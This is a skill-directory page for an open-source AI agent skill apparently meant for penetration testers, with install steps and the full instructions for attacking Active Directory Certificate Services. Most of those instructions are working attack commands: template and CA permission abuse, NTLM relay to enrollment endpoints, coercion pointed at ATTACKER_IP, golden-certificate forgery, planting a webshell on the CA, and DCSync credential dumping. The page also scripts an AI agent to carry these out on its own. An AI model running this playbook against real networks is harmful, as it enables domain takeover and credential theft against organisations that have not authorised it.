Adcs Access And Relay logo

Adcs Access And Relay

Organization
blacklanternsecurity
adcs-access-and-relay

Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill nameadcs-access-and-relay
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Adcs Access And Relay AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/ad/adcs-access-and-relay .claude/skills/adcs-access-and-relay
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Adcs Access And Relay in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Adcs Access And Relay on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Adcs Access And Relay is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

ADCS Access Control & Relay Attacks (ESC4 / ESC5 / ESC7 / ESC8 / ESC11)

You are helping a penetration tester exploit ADCS through template/CA access control abuse and NTLM relay to enrollment endpoints. All testing is under explicit written authorization.

Kerberos-first authentication: ESC4, ESC5, and ESC7 use Kerberos auth for all operations. ESC8 and ESC11 are inherently NTLM-based (relay attacks) — the Kerberos-first convention does not apply. These techniques explicitly accept NTLM detection artifacts (Event 4776, relay signatures) as a necessary cost.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [adcs-access-and-relay] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Domain user credentials (for ESC4/5/7) or ability to coerce NTLM auth (ESC8/11)
  • Network access to CA server
  • Tools: certipy, Certify.exe, ntlmrelayx.py (Impacket), modifyCertTemplate.py, coercion tools (PetitPotam, SpoolSample, DFSCoerce)

Kerberos-first workflow (ESC4/5/7 only):

bash
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All Certipy/Impacket commands use -k -no-pass

Tool output directory: getTGT.py, certipy req, and certipy auth write output files to CWD with no output-path flag. Always prefix with cd $TMPDIR &&. Use mv (not cp) when saving evidence.

Privileged Commands

Claude Code cannot execute sudo commands. The relay infrastructure tools require root and must be handed off to the user:

  • ntlmrelayx.py — NTLM relay listener (ESC8/ESC11, binds SMB/HTTP ports)
  • krbrelayx.py — Kerberos relay listener (ESC8/ESC11 variant)
  • mitm6 — IPv6 DNS takeover for coercion (used with relay)

Handoff protocol: Present the full command including sudo to the user. For relay chains (relay listener + coercion trigger), batch the privileged commands so the user can start them before Claude triggers coercion.

Non-privileged commands Claude can execute directly:

  • ACL abuse (ESC4/5/7): certipy, Certify.exe, modifyCertTemplate.py
  • Coercion triggers: PetitPotam.py, printerbug.py, DFSCoerce.py
  • Certificate auth: certipy auth, Rubeus.exe asktgt
  • Post-exploitation: secretsdump.py -k -no-pass

Step 1: Identify Attack Path

From BloodHound / enumeration results

FindingESCAttack Path
WriteProperty/WriteDACL on certificate templateESC4Modify template → ESC1
Write access to PKI containers/CA objectESC5Create/publish vulnerable template
ManageCA permission on CAESC7Enable SAN / approve requests / SubCA abuse
ManageCertificates permission on CAESC7Approve pending requests / set extensions
HTTP enrollment endpoint (CES/CEP/NDES)ESC8NTLM relay to web enrollment
ICPR RPC without encryption enforcementESC11NTLM relay to RPC enrollment

Enumerate CA permissions

bash
# Certipy — always use -output to avoid writing to CWD
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# Certify — PKI object ACLs
Certify.exe pkiobjects /domain:DOMAIN /showAdmins
Certify.exe find /showAllPermissions

Check for web enrollment endpoints

bash
# Certify — list CAs with enrollment URLs
Certify.exe cas

# certutil — enrollment server URLs
certutil.exe -enrollmentServerURL -config DC.DOMAIN.LOCAL\DOMAIN-CA

Check ICPR encryption enforcement (ESC11)

bash
# Certipy find output shows: "Enforce Encryption for Requests: Disabled"
certipy find -k -no-pass -dc-ip DC_IP -stdout | grep -i "enforce encryption"

# On CA server directly
certutil -getreg CA\InterfaceFlags
# Vulnerable if IF_ENFORCEENCRYPTICERTREQUEST is NOT set

Decision tree

What access do you have?
├── Write on template object → ESC4 (Step 2)
├── Write on PKI container / CA AD object → ESC5 (Step 3)
├── ManageCA on CA → ESC7 Attack 1 or 2 (Step 4)
├── ManageCertificates on CA → ESC7 Attack 3 (Step 4)
├── Can coerce NTLM auth + HTTP enrollment available → ESC8 (Step 5)
├── Can coerce NTLM auth + ICPR unencrypted → ESC11 (Step 6)
└── No direct access → Escalate or **acl-abuse**

Step 2: ESC4 — Template ACL Abuse

Conditions: WriteProperty, WriteDACL, or WriteOwner on a certificate template. The attacker modifies the template to introduce ESC1 conditions, requests a certificate with arbitrary SAN, then restores the original configuration.

Modify template to enable SAN

bash
# Certipy — save original config, modify template
certipy template 'DOMAIN/user@CA.DOMAIN.LOCAL' -k -no-pass \
  -template 'VulnTemplate' -save-old

# modifyCertTemplate.py — add ENROLLEE_SUPPLIES_SUBJECT flag
python3 modifyCertTemplate.py DOMAIN/user -k -no-pass \
  -template VulnTemplate -dc-ip DC_IP \
  -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

# StandIn.exe (Windows)
StandIn.exe --adcs --filter VulnTemplate --ess --add

Request certificate (now exploitable as ESC1)

bash
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'VulnTemplate' -upn 'administrator@domain.local'

Restore original template configuration

bash
# Certipy — restore from saved config
certipy template 'DOMAIN/user@CA.DOMAIN.LOCAL' -k -no-pass \
  -template 'VulnTemplate' -configuration VulnTemplate.json

# modifyCertTemplate.py — remove flag
python3 modifyCertTemplate.py DOMAIN/user -k -no-pass \
  -template VulnTemplate -dc-ip DC_IP \
  -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag -remove

Authenticate

bash
certipy auth -pfx administrator.pfx -dc-ip DC_IP

OPSEC: Template modification creates AD replication events. Minimize the window between modify → request → restore. Use -save-old to ensure clean restoration.

Step 3: ESC5 — PKI Object ACL Abuse

Conditions: Write access to pKIEnrollmentService object, Certificate Templates container, or any descendant in CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=COM.

Method 1: Create and publish a vulnerable template

Requires write to the Certificate Templates container + ability to add template to CA enrollment list.

bash
# Duplicate an existing template (e.g., User) via LDAP
# Add ENROLLEE_SUPPLIES_SUBJECT flag + client-auth EKU
# Add your user/group to enrollment rights
# Publish to CA via certificateTemplate attribute of pKIEnrollmentService

# Then exploit as ESC1:
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'MaliciousTemplate' -upn 'administrator@domain.local'

Method 2: Golden Certificate via CA key compromise

If you have write access to the CA server AD object and can achieve code execution on the CA:

bash
# Extract CA certificate + private key
certipy ca -k -no-pass -target CA.DOMAIN.LOCAL -ca 'DOMAIN-CA' -backup

# Forge certificate for any user
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
  -sid 'S-1-5-21-...-500'

certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP

Escalate for full golden certificate technique.

Step 4: ESC7 — CA Permission Abuse

Conditions: ManageCA or ManageCertificates permission on the CA.

Attack 1: ManageCA → Officer + SAN + SubCA

Use ManageCA to add yourself as CA officer (ManageCertificates), then enable the SubCA template and issue certificates:

bash
# Add yourself as CA officer
certipy ca -k -no-pass -ca 'DOMAIN-CA' -add-officer user -dc-ip DC_IP

# Enable SubCA template on CA
certipy ca -k -no-pass -ca 'DOMAIN-CA' -enable-template 'SubCA' -dc-ip DC_IP

# Request SubCA certificate with SAN (will be denied initially)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template SubCA -upn administrator@domain.local
# Note: request will fail but key is saved. Note the request ID.

# Issue the denied request (using ManageCertificates permission)
certipy ca -k -no-pass -ca 'DOMAIN-CA' -issue-request REQUEST_ID -dc-ip DC_IP

# Retrieve the issued certificate
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -retrieve REQUEST_ID

Attack 2: ManageCA → Enable ESC6 flag

bash
# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 (creates ESC6 condition)
Certify.exe setconfig /enablesan /restart

# Or via certutil on CA server
certutil -config "CA_HOST\CA_NAME" \
  -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

# Then exploit via ESC6 — route to **adcs-template-abuse**

Attack 3: ManageCertificates → Extension injection

bash
# Submit a certificate request (may require approval)
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:SecureUser

# Set custom extension on the pending request
Certify.exe manage-ca /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /request-id REQUEST_ID \
  /set-extension "1.1.1.1=DER,10,01 01 00 00"

# Approve and download
Certify.exe manage-ca /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /issue /request-id REQUEST_ID
Certify.exe request-download /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /id REQUEST_ID

Attack 4: ManageCA → RCE via CRL/file write

bash
# Find writable shares via CDP
Certify.exe writefile /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /readonly

# Write webshell to CA web directory
Certify.exe writefile /ca:CA.DOMAIN.LOCAL\DOMAIN-CA \
  /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx \
  /input:C:\path\to\shell.aspx

Cleanup

bash
# Remove officer permission
certipy ca -k -no-pass -ca 'DOMAIN-CA' -remove-officer user -dc-ip DC_IP

# Disable SubCA template
certipy ca -k -no-pass -ca 'DOMAIN-CA' -disable-template 'SubCA' -dc-ip DC_IP

# Remove ESC6 flag if enabled
certutil -config "CA_HOST\CA_NAME" \
  -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Step 5: ESC8 — NTLM Relay to HTTP Enrollment

Conditions: CA has HTTP enrollment endpoint (CES/CEP/NDES), endpoint lacks EPA (Extended Protection for Authentication), coercion vector available.

OPSEC exception: This is inherently an NTLM relay attack. Kerberos-first does not apply. Expect NTLM auth events (4776), relay artifacts, and coercion events (SpoolService/PetitPotam).

Set up relay

bash
# Impacket ntlmrelayx — relay to web enrollment
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Certipy built-in relay
certipy relay -ca CA_IP -template DomainController

Coerce authentication from DC or privileged account

bash
# PetitPotam (MS-EFSR) — unauthenticated if unpatched
python3 PetitPotam.py -d '' -u '' -p '' ATTACKER_IP DC_IP

# PetitPotam — authenticated
python3 PetitPotam.py -d DOMAIN -u user -p 'Pass' ATTACKER_IP DC_IP

# SpoolSample / Dementor (MS-RPRN — Print Spooler)
python3 dementor.py ATTACKER_IP DC_IP -u user -p 'Pass' -d DOMAIN
SpoolSample.exe DC_IP ATTACKER_IP

# DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -u user -p 'Pass' -d DOMAIN ATTACKER_IP DC_IP

Use obtained certificate

bash
# ntlmrelayx outputs base64 certificate — save to file
echo "BASE64_CERT" | base64 -d > dc.pfx

# Authenticate via PKINIT
certipy auth -pfx dc.pfx -dc-ip DC_IP

# Or with Rubeus
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt

# DCSync with obtained DC machine account
export KRB5CCNAME=dc.ccache
secretsdump.py -k -no-pass DC.DOMAIN.LOCAL

Kerberos relay variant (lower OPSEC)

bash
# krbrelayx — relay Kerberos instead of NTLM (avoids NTLM events)
sudo krbrelayx.py --target http://CA/certsrv \
  -ip ATTACKER_IP --victim DC.DOMAIN.LOCAL --adcs --template Machine

# DNS poisoning via mitm6 for coercion
sudo mitm6 --domain DOMAIN --host-allowlist DC.DOMAIN.LOCAL \
  --relay CA.DOMAIN.LOCAL -v

Step 6: ESC11 — NTLM Relay to ICPR (RPC)

Conditions: CA has ICPR RPC endpoint without encryption enforcement (IF_ENFORCEENCRYPTICERTREQUEST not set), coercion vector available.

OPSEC exception: Same as ESC8 — inherently NTLM relay.

Set up relay

bash
# Certipy relay — target RPC
certipy relay -target rpc://CA_IP -ca 'DOMAIN-CA' -template DomainController

# Impacket ntlmrelayx — RPC mode
ntlmrelayx.py -t rpc://CA_IP -rpc-mode ICPR -icpr-ca-name DOMAIN-CA -smb2support

Coerce authentication

Same coercion vectors as ESC8 (PetitPotam, SpoolSample, DFSCoerce).

Use obtained certificate

bash
certipy auth -pfx dc.pfx -dc-ip DC_IP

ESC8 vs ESC11 comparison

AspectESC8 (HTTP)ESC11 (RPC)
ProtocolHTTP/HTTPSRPC (port 135)
Relay targethttp://CA/certsrv/certfnsh.asprpc://CA
MitigationEPA on IIS, channel bindingIF_ENFORCEENCRYPTICERTREQUEST flag
TemplateMachine, DomainControllerMachine, DomainController
Certipy flag-ca CA_IP-target rpc://CA_IP

Step 7: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

Troubleshooting

Template modification not taking effect (ESC4)

AD replication delay. Wait 5-15 minutes or force replication: repadmin /syncall /AdeP DC.DOMAIN.LOCAL. Alternatively, target the CA's DC directly with -dc-ip.

Relay fails — "authentication failed" (ESC8/11)

EPA or channel binding enabled. Check with certipy find output for endpoint protection status. Try ICPR (ESC11) if HTTP (ESC8) is protected, or vice versa.

"Request denied" after ManageCA officer add (ESC7)

CA may require restart for new officer permissions to take effect. Use net stop certsvc && net start certsvc if you have CA server access.

Coerced auth not reaching relay

Firewall blocking SMB from DC to attacker. Verify port 445 reachability. Try alternative coercion (WebDAV for HTTP coercion, or use a host the DC can reach).

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

bash
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC comparison

ESCOPSECDetection Surface
ESC4MediumTemplate modification creates AD object change events (5136)
ESC5HighPKI container modification, potential CA key extraction
ESC7MediumCA permission changes, certificate issuance approval events
ESC8HighNTLM relay events (4776), coercion events, anomalous enrollment
ESC11HighSame as ESC8 but via RPC instead of HTTP

Frequently asked questions

What does the Adcs Access And Relay AI skill do?

Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).

Why use Adcs Access And Relay on TypingMind?

Because you install it once and use it with any model. Adcs Access And Relay is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Adcs Access And Relay in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-access-and-relay. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Adcs Access And Relay?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Adcs Access And Relay?

As many as you like. As long as a model supports skills, you can use Adcs Access And Relay with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Adcs Access And Relay AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇